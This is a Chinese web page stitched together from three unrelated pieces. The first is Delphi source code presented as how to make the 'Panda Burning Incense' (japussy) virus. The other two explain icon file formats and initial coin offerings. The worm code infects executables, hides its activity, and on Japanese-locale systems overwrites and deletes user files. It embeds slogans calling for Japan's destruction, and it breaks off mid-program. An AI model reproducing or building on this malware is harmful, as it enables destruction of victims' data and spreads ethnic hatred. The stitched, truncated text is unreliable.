.jpg)
一、熊猫烧香病毒是怎么做的
想要做熊猫烧香,就要学会编程,熊猫烧香是用Delphi编写出来的,想做就要学Delphi了.
以下是熊猫烧香代码:
program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize= 82432;//病毒体的大小
iconoffset=$12eb8;//pe文件主图标的偏移量
//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
headersize= 38912;//upx压缩过病毒体的大小
iconoffset=$92bc;//upx压缩过pe文件主图标的偏移量
//upx 1.24w用法: upx-9--8086 japussy.exe
}
iconsize=$2e8;//pe文件主图标的大小--744字节
icontail= iconoffset+ iconsize;//pe文件主图标的尾部
id=$44444444;//感染标记
//垃圾码,以备写入
catchword='if a race need to be killed out, it must be yamato.'+
'if a country need to be destroyed, it must be japan!'+
'*** w32.japussy.worm.a***';
{$r*.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external'kernel32.dll';//函数声明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean= false;//日文操作系统标记
{判断是否为win9x}
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result:= false;
ver.dwosversioninfosize:= sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if(ver.dwplatformid= ver_platform_win32_windows) then//win9x
result:= true;
end;
{在流之间复制}
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos:= src.position;
dcurpos:= dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{将宿主文件从已感染的pe文件中分离出来,以备使用}
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream:= tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream:= tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0);//跳过头部的病毒部分
dstream.copyfrom(sstream, sstream.size- headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{填充startupinfo结构}
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb:= sizeof(si);
si.lpreserved:= nil;
si.lpdesktop:= nil;
si.lptitle:= nil;
si.dwflags:= startf_useshowwindow;
si.wshowwindow:= state;
si.cbreserved2:= 0;
si.lpreserved2:= nil;
end;
{发带毒邮件}
procedure sendmail;
begin
//哪位仁兄愿意完成之?
end;
{感染pe文件}
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try//出错则文件正在被使用,退出
if comparetext(filename,'japussy.exe')= 0 then//是自己则不感染
exit;
infected:= false;
ispe:= false;
srcstream:= tfilestream.create(filename, fmopenread);
try
for i:= 0 to$108 do//检查pe文件头
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if(buf[0]=#80) and(buf[1]=#69) then//pe标记
begin
ispe:= true;//是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend);//检查感染标记
srcstream.read(iid, 4);
if(iid= id) or(srcstream.size< 10240) then//太小的文件不感染
infected:= true;
finally
srcstream.free;
end;
if infected or(not ispe) then//如果感染过了或不是pe文件则退出
exit;
icostream:= tmemorystream.create;
dststream:= tmemorystream.create;
try
aicon:= ticon.create;
try
//得到被感染文件的主图标(744字节),存入流
aicon.releasehandle;
aicon.handle:= extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream:= tfilestream.create(filename, fmopenread);
//头文件
hdrstream:= tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//写入病毒体主图标之前的数据
copystream(hdrstream, 0, dststream, 0, iconoffset);
//写入目前程序的主图标
copystream(icostream, 22, dststream, iconoffset, iconsize);
//写入病毒体主图标到病毒体尾部之间的数据
copystream(hdrstream, icontail, dststream, icontail, headersize- icontail);
//写入宿主程序
copystream(srcstream, 0, dststream, headersize, srcstream.size);
//写入已感染的标记
dststream.seek(0, 2);
iid:=$44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename);//替换宿主文件
dststream.free;
end;
except;
end;
end;
{将目标文件写入垃圾码后删除}
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0);//去掉只读属性
filehandle:= fileopen(filename, fmopenwrite);//打开文件
try
size:= getfilesize(filehandle, nil);//文件大小
i:= 0;
randomize;
max:= random(15);//写入垃圾码的随机次数
if max< 5 then
max:= 5;
mass:= size div max;//每个间隔块的大小
len:= length(catchword);
while i< max do
begin
fileseek(filehandle, i* mass, 0);//定位
//写入垃圾码,将文件彻底破坏掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle);//关闭文件
end;
deletefile(pchar(filename));//删除之
except
end;
end;
{获得可写的驱动器列表}
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i:= 0 to 25 do//遍历26个字母
begin
d:= chr(i+ 65);
str:= d+':\';
disktype:= getdrivetype(pchar(str));
//得到本地磁盘和网络盘
if(disktype= drive_fixed) or(disktype= drive_remote) then
result:= result+ d;
end;
end;
{遍历目录,感染和摧毁文件}
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if(searchrec.attr<> 16) and(searchrec.name<>'.') and
(searchrec.name<>'..') then
result:= 0//不是目录
else if(searchrec.attr= 16) and(searchrec.name<>'.') and
(searchrec.name<>'..') then
result:= 1//不是根目录
else result:= 2;//是根目录
end;
begin
if(findfirst(path+ mask, faanyfile, searchrec)= 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove);//调整消息队列,避免引起怀疑
if isvaliddir(searchrec)= 0 then
begin
fn:= path+ searchrec.name;
ext:= uppercase(extractfileext(fn));
if(ext='.exe') or(ext='.scr') then
begin
infectonefile(fn);//感染可执行文件
end
else if(ext='.htm') or(ext='.html') or(ext='.asp') then
begin
//感染html和asp文件,将base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if ext='.wab' then//outlook地址簿文件
begin
//获取outlook邮件地址
end
else if ext='.adc' then//foxmail地址自动完成文件
begin
//获取foxmail邮件地址
end
else if ext='ind' then//foxmail地址簿文件
begin
//获取foxmail邮件地址
end
else
begin
if isjap then//是倭文操作系统
begin
if(ext='.doc') or(ext='.xls') or(ext='.mdb') or
(ext='.mp3') or(ext='.rm') or(ext='.ra') or
(ext='.wma') or(ext='.zip') or(ext='.rar') or
(ext='.mpeg') or(ext='.asf') or(ext='.jpg') or
(ext='.jpeg') or(ext='.gif') or(ext='.swf') or
(ext='.pdf') or(ext='.chm') or(ext='.avi') then
smashfile(fn);//摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免cpu占用率过高引起怀疑
sleep(200);
until(findnext(searchrec)<> 0);
end;
findclose(searchrec);
subdir:= tstringlist.create;
if(findfirst(path+'*.*', fadirectory, searchrec)= 0) then
begin
repeat
if isvaliddir(searchrec)= 1 then
subdir.add(searchrec.name);
until(findnext(searchrec)<> 0);
end;
findclose(searchrec);
count:= subdir.count- 1;
for i:= 0 to count do
loopfiles(path+ subdir.strings+'\', mask);
freeandnil(subdir);
end;
{遍历磁盘上所有的文件}
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp= 932 then//日文操作系统
isjap:= true;//去死吧!
driverlist:= getdrives;//得到可写的磁盘列表
len:= length(driverlist);
while true do//死循环
begin
for i:= len downto 1 do//遍历每个磁盘驱动器
loopfiles(driverlist+':\','*.*');//感染之
sendmail;//发带毒邮件
sleep(1000* 60* 5);//睡眠5分钟
end;
end;
{主程序开始}
begin
if iswin9x then//是win9x
registerserviceprocess(getcurrentprocessid, 1)//注册为服务进程
else//winnt
begin
//远程线程映射到explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)),'japussy.exe')= 0 then
infectfiles//感染和发邮件
else//已寄生于宿主程序上了,开始工作
begin
tmpfile:= paramstr(0);//创建临时文件
delete(tmpfile, length(tmpfile)- 4, 4);
tmpfile:= tmpfile+#32+'.exe';//真正的宿主文件,多一个空格
extractfile(tmpfile);//分离之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil,'.', si, pi);//创建新进程运行之
infectfiles;//感染和发邮件
二、PNG、ICO、ICL、IP是什么格式如何使用
(Portable Network Graphics)---"可移植的网络图象文件格式",是Macromedia公司出品的fireworks的专业格式,这个格式使用于网络图形,支持背景透明,它使用的压缩技术允许用户对其进行解压优点在于不会使图像失真缺点是不支持动画效果.同样一张图像的文件尺寸 BMP格式最大 PNG其次 JPE G最小根据png文件格式不失真的优点我们一般将其使用在DOCK中作为可缩放的图标
Windows使用的图标文件格式这种文件格式广泛存在于windows系统中的dll、exe文件中
对于ico文件既然他是windows图标的专门格式那么我们在替换系统图标时就一定会使用到它了一个简单的应用是给应用程序的快捷方式换图标这时候就必须使用ico格式的图标了另外只有Windows XP以上的系统才支持带Alpha透明通道的图标这些图标用在Windows XP以下的系统上会很难看
ICon Library(图标库)的简称一种使用图标编辑软件(例如 Microangelo)制作的16位Windows DLL库文件只不过后缀名不同而已专用于图标的打包使用里面除了图标什么都没有优点是能够将大量图标压缩成一个文件便于使用和交流而且不需要解包就可以直接使用里面的图标 Windows XP默认就支持这种图标库格式 icl文件在日常应用中并不多见一般是在程序开发中使用 icl文件可用iconworkshop等软件打开查看
IP格式的图标主题有两种发布方式第一种也是最常见的方式是图标文件+.iptheme图标主题定义文件的形式这种形式发布的图标主题一般都在一个单独的目录中图标可能是一大堆.ico文件也可能是包含多个图标的.icl(上面解释啦)图标库文件还有一个最重要的.iptheme文件说到这里不得不再做一个名词解释:
.iptheme是IP专用的图标主题定义文件就像第二章里说的.theme主题文件一样也是文本格式可以用任何文本编辑器打开它的内容一看就懂
[Software Info]部分是IP软件的说明不用管它下面的 [Package Info]就是图标内容的定义了例如:My Computer=%ThemeDir%02.ico意思是“我的电脑”的图标定义为图标主题目录下的 02.ico文件前面是系统中某个显示图标的位置后面是具体定义的图标文件也可能是:My Computer=%ThemeDir%01.icl,1这样的定义指向的就是一个.icl图标库文件在逗号后面跟的数字1就是指图标库文件中的第一个图标
如果你的系统中安装了IP只要双击.iptheme文件IP就会自动启动然后打开这个图标主题
再点击IP窗口左边的“Icons& Cursors”
就可以在右边看到该图标主题内定义的各种具体图标了分为桌面、开始菜单、文件夹、驱动器、其他、文件类型、鼠标指针、快速启动栏等八个类基本涵盖了Windows中所有的图标
甚至是很多第三方软件的文件格式一样找得到对于不满意的图标双击图标项就可以更改或者选中图标项之后点击右边的 Change...
找到想要的图标确认就会在IP中载入了点击右下方的 Apply即可应用当前的图标主题稍等几秒系统的图标主题就替换完成了
所替换图标的多少由图标主题中包含的图标多少来决定如果图标主题图标类型很全的话
基本上整个系统内的图标变得都会让你认不出来了
要注意的是在IP中图标定义是绝对路径也就是说IP中定义好的图标一旦.ico文件或者.icl文件被移动了在IP中就无效了
IP的另一种主题发布形式是单独的一个.ip文件这个文件是IP专用格式的图标压缩包里面包括了该图标主题中的图标文件以及IP的图标主题定义文件用其他软件是打不开的使用起来和.theme一样只要双击就会在IP中载入不过IP会先将这个压缩包解压到自己安装目录中的 themes目录下再载入原来的.ip文件位置不会影响到图标主题的使用
另外 IP图标主题中也可以包含鼠标指针定义方式和图标是一样的大家找个比较完整的IP图标主题研究一下定义文件就明白!
三、ico***info是什么
ICO Info是一种区块链技术中的初始币发行信息。
接下来进行详细解释:
一、ICO的基本概念
ICO是区块链技术和加密货币领域的一种融资方式,类似于传统的股票发行。它指的是通过发行加密货币来筹集资金,为某个项目或初创公司提供资金支持。通过这种方式,开发者可以出售其项目特有的数字代币给投资者,以换取比特币、以太坊等主流加密货币。随着区块链技术的兴起,ICO已经成为了一种重要的筹资手段。
二、ICO Info的含义
ICO Info指的就是与初始币发行相关的信息。这包括项目的白皮书、发行计划、团队介绍、技术细节等关键信息。这些信息对于投资者来说至关重要,因为它们可以帮助投资者了解项目的背景、目的、技术实力以及潜在的风险和收益。在投资决策之前,投资者会仔细研究ICO Info以做出明智的选择。
三、ICO Info的重要性
在区块链和加密货币领域,ICO的竞争非常激烈。因此,提供详细、透明的ICO Info对于项目的成功至关重要。一个完善的ICO Info不仅可以让投资者了解项目的具体情况,还可以增强投资者对项目的信任度。此外,良好的ICO Info还可以帮助项目吸引更多的合作伙伴和开发者加入,共同推动项目的发展。
总的来说,ICO Info是区块链项目中关于初始币发行的重要信息汇总,对于投资者和项目开发方都具有重要的意义。在进行任何投资决策之前,了解和研究ICO Info都是必不可少的步骤。
本文来自用户投稿,不代表币大大立场,如若转载,请注明出处:https://czxurui.com/jys/177295.html


发表回复
评论列表(0条)